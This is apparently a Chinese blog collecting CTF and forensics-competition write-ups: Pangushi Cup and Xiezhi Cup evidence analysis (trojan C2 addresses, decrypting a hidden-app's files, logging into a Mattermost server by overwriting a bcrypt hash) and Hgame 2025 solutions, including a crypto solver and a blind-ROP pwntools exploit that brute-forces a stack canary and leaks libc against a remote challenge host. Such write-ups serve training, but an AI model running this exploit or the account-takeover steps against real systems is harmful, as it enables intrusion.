EXE取证 PE Binary Forensics

在文档里找到lupg.zip，提出来放云沙箱分析

1分析Windows木马，其控制端ip是？[标准格式：192.168.1.11] Analyze the Windows trojan virus: What is its controller IP? [Answer format: 192.168.1.11]

1

104.18.45.79

2软件会复制自身到哪个文件夹下？[标准格式：DaTa] Which folder does the malware copy itself to? [Answer format: DaTa]

1

SubDir

3接上题，复制后软件名称是？[标准格式：AppTmp.exe] Continuing last question, What is the copied filename? [Answer format: AppTmp.exe]

接上题分析即可

1

BwAcr.exe

4软件一共可以窃取多少种浏览器的信息？[标准格式：3] How many types of browsers can the malware extract data from? [Answer format: 3]

数数, 一共8个调用浏览器的函数

1

8

5软件查询安装的杀毒软件出错或异常会返回什么字符串？[标准格式：Apps] What error message is returned when the malware fails to detect antivirus software? [Answer format: Apps]

通过查找谁调用System.Management库寻找可疑的函数, 该函数smethod_2()方法进行杀毒软件的查询, 分析代码可知异常则返回Unknown

1

Unknown

苹果应用取证 macOS Apps Forensics

全为复现，当时比赛根本不知道怎么取

1对mac电脑中的加密程序进行分析，使用了一个特定的数作为密钥生成的种子，请问这个数是什么？[标准格式：1234]

首先在桌面有加密程序，我们导出一下

可见在resources下的加密用Py文件，但是我们不能直接运行

这个模块是不在Py模块仓库中的
发现在/lib/python38.zip中存在.pyc模块文件，我们解压出来
拖到pyLingual反编译

可以跑出ui界面了，源码中有异或生成descramble key部分

1

42

2分析文件头部元素并确定它们的正确顺序。将字段名称按顺序连接并提交？[标准格式：字段1_字段2_字段3…]

这里生成加密文件，有两个头部元素，密钥——iv，data——encrypted_data

1

iv_encrypted_data

3密钥派生过程中使用了几个算法步骤。其中一个函数使用了与其实际功能不符的名称。找出这个函数名并提交？[标准格式：函数名]

上面的__descryamble_key看得出来想要进行混淆，但是实际上混淆的mixed_base根本没用到，因此答案就是这个函数

1

_descramble_key

服务器取证 Server Forensics

1分析服务器检材，找出服务器系统启动盘的GUID？【标准格式: 数字、字母、-的组合，字母大写】 Analyze the server sample to find out the GUID of the server‘s boot disk? [Standard format: a combination of numbers, letters, and -, with the letters capitalized]

2找出服务器网关IP？【标准格式:1.1.1.1】 Find the server’s gateway IP. [Answer format: 1.1.1.1]

我觉得是network.cfg里的

3找出服务器数据盘的文件系统格式？【标准格式:ntfs】 Find the server’s data volume’s filesystem. [Answer example: ntfs]

disk.cfg

7找出服务器内Docker虚拟硬盘位置？【标准格式：/home/abc/adc.raw】 Find the virtual disk of Docker on the server. [Answer format: /home/abc/adc.raw]

挂载后到config中打开

物联网取证 IOT Forensics

1分析冰箱，请问智能冰箱的品牌？【标准格式:xiaomi】 Analyze the smart refrigerator: What is its brand? [Answer format: xiaomi]

松下的

1

Panasonic

2请问智能冰箱的型号？【标准格式:MiFridge2024】 What is the model of the smart refrigerator? [Answer format: MiFridge2024]

接上题

1

NR-E46CV1

3请找智能冰箱的uuid？[标准格式：34567890-12cd-efab-3456-789012cdefab]

谁知道这道题是纯猜？

这里刚好能对上UUID

1

12345678-90ab-cdef-1234-567890abcdef

4请问智能冰箱默认保存几张图片？【标准格式：1】 How many images are saved by default in the smart refrigerator? [Answer format: 1]

IDA里面看，有从face1到face5，猜5

1

5

5请问冰箱中已存的第一张图片上的内容是什么？【标准格式：满城尽带黄金甲】 What is the content of the first saved image? [Answer format: 满城尽带黄金甲]

Formost提取出来

1

盘古石杯贾韦码

6请问冰箱中已存的第二张图片的名称是什么？【标准格式：123.jpg】 What is the filename of the second saved image? [Answer format: 123.jpg]

根据上面的分析应该是face2.jpg

1

face2.jpg

7请找冰箱中隐藏的内容？[标准格式：chuzixizipizi]

strings 在末尾找到

1

pangushicup

8请找出冰箱中嫌疑人图片MD5值的后六位？【标准格式：1a2b3d】 What are the last six chars of the MD5 hash for the suspect’s image in the refrigerator? [Answer format: 1a2b3d]

应该是另一张长得不一样的图片的后六位

1

882564

`*`9请找出冰箱最后一次开门时间？[标准格式：10:11]

根据mac取出来的贾韦码资料猜测照片修改日期即拍摄时间

1

15:48

10默认图片的存储限制大小是多少？[标准格式：1KB]

相邻的face刚好相差102400字节，也就是

1

100KB

11分析video.E01，被修改的录像md5前5位是？[标准格式：1a2b3]

要用FTK Imager挂载
在233549-00001-M.mp4中这个位置发现了时间回跳

1

ea7be

数据分析部分我不想做，描述的太难受了，有一种吊着一股气的感觉出的题，联系几乎没有，就是纯编程，总之就是很无语

2024盘古石杯

Mon, 14 Apr 2025 15:36:00 +0000

veracrypt挂载密码2b26ba7ed35d622d8ec19ad0322abc52160ddbfa

使用工具

综合分析

取证大师
美亚手机大师

镜像仿真

平航仿真软件

文本分析

010editor
vscode

apk分析

jadx
云沙箱网站

数据库工具

DB Browser for SQLite
DB Browser for SQLite cipher
navicat16
forensicstool

内存取证工具

Volatility3

杂项

cyberchef 进行解密

APK取证

分析伏季雅的手机检材，手机中诈骗APP的包名是

答案格式：abc.abc.abc，区分大小写

2024-04-25-09-53-24

分析义言的手机检材，分析团队内部使用的即时通讯软件，该软件连接服务器的地址是

mattermost是内部通讯软件

`app_webview/` 文件夹

路径：./app_webview/
内容：WebView 缓存，可能包含 HTTP 请求记录。
操作：
检查 Cookies、Local Storage 或 IndexedDB 中的网络请求痕迹。

DB-browser打开，

192.168.137.97

接上题，该软件存储聊天信息的数据库文件名称是

答案格式：abc.abc，区分大小写
刚开始直接进databases找没有，

这里有聊天记录，就是这个
aHR0cDovLzE5Mi4xNjguMTM3Ljk3OjgwNjU=.db

顺带一提这个base64解密后就是IP

接上题，该即时通讯软件中，团队内部沟通群中，一共有多少个用户

6

接上题，该即时通讯应用的版本号是

直接看控制面板是5.7.0不对
app.db

2.15.0

接上题，该即时通讯应用中，团队内部沟通中曾发送了一个视频文件，该视频文件发送者的用户名是

files表找post_id post表找user_id user表找名称

yiyan

接上题，分析该即时通讯的聊天记录，团队购买了一个高性能显卡，该显卡的显存大小是

复现的时候网站换源了
24G

分析义言的手机检材，手机中装有一个具备隐藏功能的APP，该APP启动设置了密码，设置的密码长度是多少位

这个很难

复现的时候才知道要看可疑软件

这够可疑了吧

有点太难找了
解密方法在这个

加密密钥都是相同的Rny48Ni8aPjYCnUI

根据文章提示，我们可以找到/F:/data/data/com.hld.anzenbokusufake/shared_prefs/share_privacy_safe.xml并进行解密

可以看出9位密码

接上题，分析上述隐藏功能的APP，一共隐藏了多少个应用

用带cipher的sqlitebrowser打开，还要注意sqicipher3才能打开(这东西比赛谁做得出来)

5

接上题，分析上述隐藏功能的APP，该APP一共加密了多少个文件

5 注意这里解出BitLocker恢复密钥会在下面计算机取证非常顺畅

接上题，分析上述隐藏功能的APP，该APP加密了一份含有公民隐私信息的文件，该文件的原始名称是

公民信息.xlsx

分析义言的手机检材，马伟的手机号码是

退回去看加密文件，我们如法炮制用同样的密钥进行解密

18921286666

分析义言的手机检材，手机中存有一个BitLocker恢复密钥文件，文件已被加密，原始文件的MD5值是

497f308f66173dcd946e9b6a732cd194

计算机取证

分析伏季雅的计算机检材，计算机最后一次错误登录时间

答案格式：2024−01−01−04−05−06

分析伏季雅的计算机检材，计算机中曾经浏览过的电影名字是

答案格式：《奥本海默》

《坠落的审判》

分析伏季雅的计算机检材，计算机中团队内部即时通讯软件的最后一次打开的时间是

答案格式：2024−01−01−04−05−06

翻找近期使用软件后发现这个即时通讯软件
2024-04-26-17-13-02

分析伏季雅的计算机检材，计算机中有一款具备虚拟视频功能的软件，该软件合计播放了多少个视频

仿真（用的平航，不知道为什么我自己的跑不起来）

虚拟视频功能软件是mvbox

就一个视频
1

接上题，该软件的官网地址是

https://www.mvbox.cn

接上题，该软件录制数据时，设置的帧率是

15

分析伏季雅的计算机检材，在团队内部使用的即时通讯软件中，其一共接收了多少条虚拟语音

4

分析毛雪柳的计算机检材，计算机插入三星固态盘的时间是

这题时间在不同软件中是存在差别的，题目有小问题

2024-04-25-19-08-08

分析毛雪柳的计算机检材，计算机操作系统当前的Build版本是

取证大师一把梭 19045

分析毛雪柳的计算机检材，团队内部使用的即时通讯软件在计算机上存储日志的文件名是

分析毛雪柳的计算机检材，伏季雅一月份实发工资的金额是

仿真，回收站里有密码，但是是错误的😂

手机里有密码，好
maoxl2024!%*!

11200

分析毛雪柳的计算机检材，该团伙三月份的盈余多少

158268

分析义言的计算机检材，计算机连接过的三星移动硬盘T7的序列号是

SN(Serial Number)

S6TWNS0RB02721X

分析义言的计算机检材，计算机的最后一次正常关机时间是

2024-04-28-18-51-56

分析义言的计算机检材，曾经使用工具连接过数据库，该数据库的密码是

forensicstool梭一下
root

分析义言的计算机检材，计算机中安装的xshell软件的版本号是

跑一下仿真，在控制面版看

Build-0157 DID的答案是错的，不管

分析义言的计算机检材，曾使用shell工具连接过服务器，该服务器root用户的密码

仿真出来是这个软件，D盘下有配置文件但是Bitlocker
如果APK那里解密出了我们就可以进行解密了
337469-693121-682748-288772-440682-300223-203698-553124

conn文件夹下有喽解密

root

分析义言的计算机检材，计算机曾接收到一封钓鱼邮件，该邮件发件人是

就那个838299176@qq.com

接上题，钓鱼邮件中附件的大小是多少MB

2.4

接上题，上述附件解压运行后，文件的释放位置是

云沙箱解析

C:\Windows\Temp

接上题，恶意木马文件的MD5值是

f539aab0af03836e73ec1727db8a6d50

接上题，恶意木马文件的回连IP地址是

192.168.137.77:80

分析义言的计算机检材，计算机中保存的有隐写痕迹的文件名

会用来生成bmp文件进行隐写吗，搜索一下

找名字奇怪的图片，而且非常，模糊，提取一下

所以就是这个文件
a78bd8b5bec5f60380782bd674c7443p.bmp

分析义言的计算机检材，保存容器密码的文件大小是多少字节

分析出来有这些加密文件，测试一下解密, 这个大小刚好2个G，非常可疑，发现用LSB隐写解出来的密码刚好能用，所以就是保存容器密码的文件

20

分析义言的计算机内存检材，该内存镜像制作时间(UTC+8)是

跑内存分析啊，用volatility3跑
python vol.py -f "A:\嫌疑人\义言\计算机\memdump.mem" windows.info

system time，要UTC+8
2024-04-25-22-18

分析义言的计算机内存检材，navicat.exe的进程ID是

python vol.py -f "A:\嫌疑人\义言\计算机\memdump.mem" windows.pslist

跑出来9336

人工智能部分

大胆！如果D盘bitlocker没解出来那么多题都别做了！人工智能的东西都在D盘里呢

分析义言的计算机检材，一共训练了多少个声音模型

这个得看log才行,sovits-weight只是保存模型的，可能有的不是训练的 4

分析义言的计算机检材，声音模型voice2，一共训练了多少条声音素材

17

分析义言的计算机检材，声音模型voice3，一共训练了多少轮

熟悉的话看模型中e的轮数就可以了

8

分析义言的计算机检材，声音克隆工具推理生成语音界面的监听端口是

根据之前使用过的记忆来说，我们只需要跑起来webUI推理即可

9872

下一道题有些难，水平不够我写不出脚本(

后面换脸AI部分就是简单的翻找就行，这里直接过了

IM服务器部分

这里可以参考一下[西电wp]((https://forensics.xidian.edu.cn/wiki/PGS2024Preliminary/#_14 )
我们直接起一个NAT或桥接网络的虚拟机，开启了DHCP，用shell工具连接即可，

分析内部IM服务器检材，在搭建的内部即时通讯平台中，客户端与服务器的通讯端口是

docker ps 8065

分析内部IM服务器检材，该内部IM平台使用的数据库版本是

服务器中跑着一个docker容器，交互模式进入到容器中

有一个docker-entry.sh

其中将PostfgreSQL和MatterMost的配置文件信息传递
已知PostgreSQL官方Docker镜像通过环境变量传递配置，我们查看env

也可以psql --version

12.18

分析内部IM服务器检材，该内部IM平台中数据库的名称是

上题就出来了
mattermost_test

分析内部IM服务器检材，该内部IM平台中当前数据库一共有多少张表

docker inspect看进程具体信息

找到IPAddress后
先通过navicat写好ssh的配置文件再写postgreSQL的配置文件连接上数据库

82

分析内部IM服务器检材，员工注册的邀请链接中，邀请码是

USERS表中我们找到管理员账户

这是bcrypt加密方式，我们用相同方式加密一个123456密码，然后填进去登录

54d916mu6p858bbyz8f88rmbmc

分析内部IM服务器检材，用户yiyan一共给fujiya发送了几个视频文件

登录一下yiyan的账号

2个视频4个音频
2

分析内部IM服务器检材，用户yiyan在团队群组中发送的视频文件的MD5值是

这个，用7z跑

f8adb03a25be0be1ce39955afc3937f7

分析内部IM服务器检材，一个团队中允许的最大用户数是

成员和团队中
50

分析内部IM服务器检材，黑客是什么时候开始攻击

控制台可看服务器日志，密码爆破

2024-04-25-07-33

Web服务器部分

仿真后进入

分析网站服务器检材，网站搭建使用的服务器管理软件当前版本是否支持32位系统

root下有用于备份数据库的backup.sh和存放备份文件的backup目录

由于存在install.sh，查看发现是宝塔面板安装脚本，重新设置密码后登录查看信息

6.0以上不再支持32位版本
否

分析网站服务器检材，数据库备份的频率是一周多少次

计划任务中

所以我们可以直接crontab 查看用户的定时任务

让AI帮我分析一下🤗

每周日的0点备份一次
1

老登那搞来的图

分析网站服务器检材，数据库备份生成的文件的密码是

根据backup.sh中反向生成

1
2


[root@wns ~]# echo -n "2828" |openssl enc -aes-256-cbc -a -salt -pass pass:mysecretpassword -nosalt
IvPGP/8vfTLtzQfJTmQhYg==

IvPGP/8vfTLtzQfJTmQhYg==

复现ing

2025獬豸杯

Sun, 30 Mar 2025 00:10:00 +0000

检材&题目来源https://forensics.didctf.com/

官网没提供容器密码，veracrypt或FTK挂载，密码为：}2N|n_yxdt!G/Ru}|_zdn$@?6@CD8E

手机

data.dd->data.dd.tar解压

没有一把梭软件，只能硬翻，在axiom中我们先筛选非system程序，再看从小米市场下载的程序，最后定位到

几个软件中寻找后判断出com.huodong.yanyu应该是烟雨直播软件，也就是我们所要找的直播软件，然后进入文件夹中的database后

miao.db中找到login，id为35248617

打开软件看看，发现正好是一无所有

难绷，直接搜，一个大阳山一个武功山（后面这个难搜到），结果是武功山

前一个是系统设置，数据库里可以找到初始化IMSI，第二个问AI知道的，查查看

在E:\手机\user_de\0\com.android.providers.telephony\databases中找到
460115143563428

5\6放一起看，可以得知是网易会议，在shared_prefs中查看残留信息
FlutterSharedPreferences.xml中找到

找到mettingID和meetingNum
搜索官网得知会议ID是meetingNum，提交是正确的，但是时间没有确定
312-118-071

在手机\media\0\Android\data\com.netease.yunxin.meeting\files\nim\extra_log\imkit_log
中可以找到log文件，根据官方github中对应Privatemeeting，搜索得到
2679823922

记账小能手

4

上图往后滑一下就有
勇哥

DC_store中看到没有手机号 否

chats-app-10950-private中能看到消息 30000

上面有 17751125237

这是… 这我真不知道了
看网上在/user_de/0/com.android.phone/shared_prefs/com.android.phone_preferences.xml中，

1055

白马蔚蓝百度3个

计算机

取证大师一把梭

00-0C-29-BF-8B-30

18363

查找发现有个mm.txt，密码或许在新建文本文档.txt里？但是内容清空了，注意到

2.10号这一天既有输入法输入密码的操作，又有日志分析中修改密码成功的操作，我们缩减范围到2.10号这段时间内

除了文本文档外还对便笺进行了操作，文本文档没找到密码，我们看一下便笺

ps:forensictools也提示我们在备忘录里

查找得知便签数据库文件位置"I:\Users\TTT\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite" sqlitebrowser打开

WAXD9128@

这是什么玩意？我不会了

在document下看到一个.npbk文件，夜神模拟器的文件格式之一，还有一个dididi.saz

这里进行了登录操作

找到password，
a12345678

流量包搜yeshen，看包就找到了
SM-G955N

搜video，然后随便点开一个流量包就能看到月份，抖音的视频 5

说实话这个上网都行吧。。

起点中文网

火眼分析看到，大概就是这个许羽了, 到雷电分析一下

jadx看一下

anzhuo.com

草之前那道题mm.txt里容器的密码就是这玩意的： 新建文本文档.txt

貌似是这个

7zip看一下 8955b1

这里还可参考大佬做法找容器大小一个g（找容器主要就是根据大小来找，一个g就很明显，其次是个“白图标文件”）

没错就是这个，用密钥在veracrypt打开即可

IDA中快速搜索找到
0x4393c0

DIE里看
0x035b5000

com.suijideszzuiji.cocosandroid

没加固

大概是这个？
android.permission.WRITE_EXTERNAL_STORAGE
还真是

雷电里面抓包，login的时候就可以看到了

https://47bc63ed04500151.com/ky188/member/memberManager/login 但是好像不对，原来是因为开了代理模式的原因，合理猜测是168js.bhibfy.com或者168js.bvocftd.com https://168js.bvocftd.com/ky188/member/memberManager/login

雷电里直接搜敏感信息或者然后源码中确认qqID即可
1108221663

(=3]Zwjt#W

2024獬豸杯

Thu, 27 Mar 2025 16:19:00 +0000

检材&题目来源https://forensics.didctf.com/

手机基本信息

… 文件夹名称 2024-01-15.14:19:44

QQ momo 小西米 3

使用itunesBackupTransfer将ios备份文件导出后分析（可在github找到项目）

vscode打开文件夹后搜索ICCID即可找到89860320245121150689

用如下软件打开后找到小西米语音，看log最新一条

看起来这个应该就是真答案了 20240115

地图数据

由于高德地图数据库是加密的，我们使用forensicstool进行解密，

sqlitebrowser打开

天铂华庭

浏览器

Bookmarks.db

使用autopsy，创建case时选择logical file，然后选择我们之前导出的ios包

如上选择后打开，我们在Reports中就可以看到ios Analyzer了，用本地浏览器打开

拉萨

后续，当然你也可以在History.db文件中直接搜索找到，但是备份中把它删了中不存在，Histroy因此在iback viewer中是空，这里可以简单写个脚本解密一下com.apple.mobilesafari.plist文件

1
2
3
4
5
6
7


import plistlib
plist_path =''
with open(plist_path, 'rb') as fp:
 plist_data = plistlib.load(fp)

# 现在 plist_data 包含了 plist 文件的内容，您可以通过字典的方式访问其中的键值对
print(plist_data)

即时通讯

把每个通讯软件拉出来看，先看一下小西米数据库

龙黑

1100

六百六十六一人之下都来勒但是怎么诸葛青几个都是女的？看身份证第17位即可 张二、李四、江三、王也

APK包分析

雷电打开即可看到

jadx打开后进入资源文件夹，找application中有name的部分,Intent Filter便是用来注册Activity等的模块，圈起来的就是主函数名了
StartShow

SHA1withRSA

随便看就有:1.0

看jadx也可以

上图就有:10.0.102.135:8888

上面也有:Readdata.zip

在下面

平台的题目没描述，找了一下：APK发送回后台服务器的数据包含以下哪些内容？（多选）

A. 手机通讯录
B. 手机短信
C. 相册
D.GPS定位信息
E. 手机应用列表看jadx，竟然全用函数注明了，

短信

通讯录

app
所以选ABE

好下一部分

计算机取证

基本信息

FTK挂载后查看

20240112

系统痕迹

得用AXIOM了，挂载时也别挂加密磁盘，之后要找密钥的

过滤.zip后大概率就是这个 data.zip

数据库分析

接上题，我们将zip文件取出后，发现有压缩包密码，在axiom中溯源不出什么东西了，我们用Autospy挂载后用tools中的file search by attributes进行搜索

右键选择后view file in directory后发现在桌面（好像没什么用），退回到Recent Documents

欸，有相邻的图片，名字就很奇怪，我们溯源一下，好家伙

全是foxmail邮件信息，我们一个一个看一下

这里就是提示了，11位手机号（知道末3位）进行压缩包掩码爆破

15566666555解压出来

明显是sql数据库，给他仿真还原回去
具体可看这篇文章
my.ini中

加上这一行跳过需要密码登录，然后用我们解压出的data文件夹把这里的data文件夹替换了

答案2021-03-17.15:49:52：（

5

不知道显示出了什么问题我修改排序顺序以后emp_no才正常显示，SQL查询语句

1

SELECT sum(salary) FROM `salaries_list` where emp_no = 204200;

488313

team_list中有Finance部门，本来想在hiredate中直接找，但是排序会出问题，写查询吧 1486

邮箱服务器

备忘录里有

但是是Bitlocker的密码

hamilserver就是邮箱服务器，找到后密码用随波逐流梭一下

900110

对应3个账户

应该对应3个吧我去还真是

想起之前还有个待会见的图片，随波逐流爆一下宽高

中国路999号

OVER~

由于服务器带宽小大文件传不过去，所以基本没用取证一把梭工具，嘻嘻

Hgame2025_final wp

Wed, 19 Mar 2025 11:32:00 +0000

misc

Vidar知识大问答

1.Vidar的创立年份？ D - D.2008

2.Vidar刚创立时的名字？ A - A.HDUISA

3.Hgame的全名？ C C.HCTFGame

4.Vidar现在的队长是谁？ B - A.z211x B. 张博文

去年的第三次新生培训主题是什么？ A - （看群） A.Re & Pwn
以下对vidar描述错误的是？ D - D. 芬里尔的手下败将
以下哪个不是Vidar的成员？B（看官网） B.loging
你身边有喜欢画画的同学，你会推荐ta来vidar做美工吗？A - A. 会
杭电有几栋教学楼（下沙主校区）？B - B.11
关注公众号”安协小天使“发送信息”Hgame FINAL“ C - Hgame{DACBADBABC} 不要爆破平台呦~~
不是，为什么队长名是本名。。

Railway Picture

原图百度搜图后找到

hgame{hangzhou_keyunzhongxin}

crypto

给deepseek的调教参数(realfield需要python中优化，以及素数判定要防止范围不对)：

根据c和hint反向解出flag内容，
将realfiled等sage中的函数进行优化替换，使得可以在python中运行解出答案并且时间不会过长

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


from decimal import Decimal, getcontext
import random

def is_prime(n, k=5):
 if n <= 1:
 return False
 elif n <= 3:
 return True
 if n % 2 == 0:
 return False
 d = n - 1
 r = 0
 while d % 2 == 0:
 d //= 2
 r += 1
 for _ in range(k):
 a = random.randint(2, min(n - 2, 1 << 20))
 x = pow(a, d, n)
 if x == 1 or x == n - 1:
 continue
 for __ in range(r - 1):
 x = pow(x, 2, n)
 if x == n - 1:
 break
 else:
 return False
 return True

def find_p_q_hint():
 getcontext().prec = 200
 hint_str = '1.9272080389735772625212607491570999634122053'
 hint = Decimal(hint_str)

 cf = []
 x = hint
 for _ in range(50):
 a = int(x)
 cf.append(a)
 remainder = x - a
 if remainder == 0:
 break
 x = Decimal(1) / remainder

 def convergents(cf):
 p_prev, p_curr = 1, cf[0]
 q_prev, q_curr = 0, 1
 yield (p_curr, q_curr)
 for a in cf[1:]:
 p_next = a * p_curr + p_prev
 q_next = a * q_curr + q_prev
 p_prev, p_curr = p_curr, p_next
 q_prev, q_curr = q_curr, q_next
 yield (p_curr, q_curr)

 c = 14476572213458615411518126140467642363521556738843670411747622001212459355051860361245525149102951233473362156251201776147334810593975810704636538003548345425341864228858388705
 for p_candidate, q_candidate in convergents(cf):
 if q_candidate < (1 << 63) or q_candidate >= (1 << 64):
 continue
 if p_candidate < (1 << 63) or p_candidate >= (1 << 64):
 continue
 if p_candidate <= q_candidate:
 continue
 if not is_prime(q_candidate):
 continue
 if not is_prime(p_candidate):
 continue
 ratio = Decimal(p_candidate) / Decimal(q_candidate)
 if abs(ratio - hint) < Decimal('1e-10'):
 a = []
 current = c
 valid = True
 for _ in range(10):
 ai = current % p_candidate
 if ai < 0 or ai > 255:
 valid = False
 break
 a.append(ai)
 current = current // p_candidate
 if not valid or current != 0:
 continue
 a = a[::-1]
 msg = bytes(a)
 if len(msg) == 10:
 print("Found flag: hgame{" + msg.decode() + "}")
 return

find_p_q_hint()

Found flag: hgame{@_ez_task!}

pwn

Backto2016

没有附件只有远程环境，我们需要通过远程环境盲打

在输入56个‘a’（算上一个换行符）即57个字符的时候发生了溢出报错，同时我们知道这个程序开启了canary，用于我们来判断栈溢出长度，缓冲区即56的长度

寻找stop_gadgets

第一个stop_addr，看起来这一次我们在发送之后成功返回到了某个意想不到的地址

在这一个stop_addr后返回了success!!

同时在经过反复调试以后我们找到了exit的stop_add，将其作为stop_gadget，具体原因可以在下文杂谈中得知

寻找common_gadgets

即使有了stop_gadget，原本要导致程序崩溃的地址之后也会崩溃，通用函数libc_csu_init，详情请见CTF github_book ,csu的gadgets允许我们进行6次pop寄存器的指令，我们通过从程序非阻塞地址处（见hints）

遍历去找到可以正确从栈中弹出六次数据的地址
common_gadgets也被我们称为brop_gadgets，但是我们发现根据hint来的话第一个0x400a02就是我你们要想要的gadget——吗？实际上如果我们不去检查会找到一些看似正确的pop地址后面就是dump地址、找libc、最后ret2libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("")
#gdb.attach(io)

libc=ELF("./libc.so.6")

def get_offset():
 i=1
 while 1:
 try:
 io=remote("node1.hgame.vidar.club",31958)
 io.recvuntil("password:\n")
 payload=b'a'*i
 io.sendline(payload)
 data=io.recv()
 io.close()
 if not ("Incorrect password") in data.decode():
 return i
 else:
 i+=1

 except EOFError:
 io.close()
 print("success,overflow")
 return i

def get_stop(canary):
 old_addr=0x4007b2
 length = 56
 while True:
 # time.sleep(0.5)
 print(hex(old_addr))
 try:
 io.recvuntil(b"password:\n")
 payload=b'a'*(length)+p64(canary)+b'a'*8+p64(old_addr)
 io.send(payload)
 out_put=io.recvline()
 print(out_put)
 time.sleep(0.2)
 if b"killed" in out_put :
 old_addr+=1
 else:
 print("you find stop gadget!-->",hex(old_addr))
 return old_addr
 except EOFError:
 old_addr+=1
 io.close()
def with_canary(io):
 canary = b'\x00'
 for i in range(7):
 for j in range(256):
 payload = b'a' * 56 + canary + bytes([j])
 io.recvuntil(b"password:\n")
 io.send(payload)
 out_put = io.recvline()
 print(out_put)
 # Check if 'Incorrect password,' is in the output, regardless of other lines
 if b'Incorrect password,' in out_put:
 canary += bytes([j])
 print(f"[+] Found byte {i+1}: 0x{j:02x}")
 break # Continue to the next byte
 else:
 print(f"try again! {i}:{j}")
 print("canary is ", hex(u64(canary)))
 return canary

def common_gadgets_addr(canary,stop_addr):
 old_addr=0x400a80 #通过hints跳过一些阻塞地址
 while True:
 old_addr+=1
 time.sleep(0.2)
 payload=b'a'*56+p64(canary)+p64(old_addr)
 payload+=p64(old_addr) #前面用来一个覆盖了
 payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) #传参
 payload+=p64(stop_addr) #返回到exit退出
 payload+=p64(0) #看以往题解得知这里加零是为了防止程序异常崩溃，就当return 0好了
 try:
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 print(out_put)
 if b"killed" in out_put:
 log.info("bad: 0x%x" % old_addr)
 else:
 log.info("you find possible common gadget!--> 0x%x" % old_addr)
 payload=b'a'*56+p64(canary)+p64(old_addr)
 payload+=p64(old_addr)
 payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 if b"killed" in out_put: #这里是因为如果brop的gadgets地址是正确的，程序返回到主程序运行后崩溃
 log.info("true brop gadget:0x%x" % old_addr)
 return old_addr
 except:
 log.info("bad: 0x%x" % old_addr)

def get_puts_plt(canary,stop_gadget,brop_gadget):
 pop_rdi = brop_gadget + 9 # pop rdi; ret; 与pop rbx固定偏移9字节，即pop r15的后两个字节 5f c3
 old_addr=0x400700 #缩小范围,肯定在stop_gadget附近
 while True:
 time.sleep(0.2)
 old_addr+=1
 payload=b'a'*56+p64(canary)+p64(0)
 payload+=p64(pop_rdi)
 payload+=p64(0x400000) #打印出0x400000地址处内容，程序头地址，由于程序头魔数，方便判断
 payload+=p64(old_addr)
 payload+=p64(stop_gadget)
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 #这里是ELF文件的头部魔数，通过是否输出ELF文件头部来判断是否找到plt地址
 if b"\x7fELF" in out_put:
 log.info("puts@plt address: 0x%x" % old_addr-1)
 return old_addr-1
 else:
 log.info("bad: 0x%x" % old_addr)


#dump程序的原理puts函数是通过\x00截断的，并且末尾会加上\x0a换行，我们为了
#防止特殊情况要进行替换，最后读到\x0a的话大概率就是\n
def dump(stop_gadget,canary,brop_gadget,puts_plt,start_addr,end_addr):
 pop_rdi = brop_gadget + 9
 rusult = b""
 while start_addr < end_addr:
 sleep(0.05)
 payload=b'a'*56+p64(canary)+p64(0x12345678)
 payload+=p64(pop_rdi)
 payload+=p64(start_addr)
 payload+=p64(puts_plt)
 payload+=p64(stop_gadget)
 io.send(payload)
 data=io.recvline()
 io.recvuntil(b"password:")
 io.recvline()
 if data == b"\n":
 data=b"\x00"
 elif data[-1] == 0x0A:
 data=data[:-1]
 log.info("leaking: 0x%x --> %s" % (start_addr, data.hex()))
 rusult+=data
 start_addr+=len(data)
 return rusult


#打印出puts地址后去找libc
def get_puts_addr(buf_size, canary, stop_addr, gadgets_addr, puts_plt, puts_got):
 pop_rdi = gadgets_addr + 9
 payload = b"a" * buf_size + p64(canary) + p64(0)
 payload += p64(pop_rdi)
 payload += p64(puts_got)
 payload += p64(puts_plt)
 payload += p64(stop_addr)
 io.send(payload)
 io.recvline()
 data = u64(data[:-1] + b"\x00\x00")
 out_put=io.recvuntil(b"password:")
 puts_addr = u64(data[:-1].ljust(8, b"\x00"))
 log.info("puts address: 0x%x" % puts_addr)
 return puts_addr



#size=get_offset()
#size=56
io=remote("node1.hgame.vidar.club",31968)
new_canary=u64(with_canary(io))

#stop_addr=get_stop(new_canary)
stop_gadget=0x4007c0

#brop_gadget=common_gadgets_addr(new_canary,stop_gadget)
brop_gadget=0x400b2a

#puts_plt=get_puts_plt(new_canary,stop_gadget,brop_gadget)
puts_plt=0x400715

"""
code_bin_file=dump(stop_gadget,new_canary,brop_gadget,puts_plt,0x400000,0x410000) #还可以从0x600000左右dump data段
with open("code.bin","wb") as f:
 f.write(code_bin_file)
 f.close()
"""
puts_got=0x602018

puts_addr=get_puts_addr(56,new_canary,stop_gadget,brop_gadget,puts_plt,puts_got)

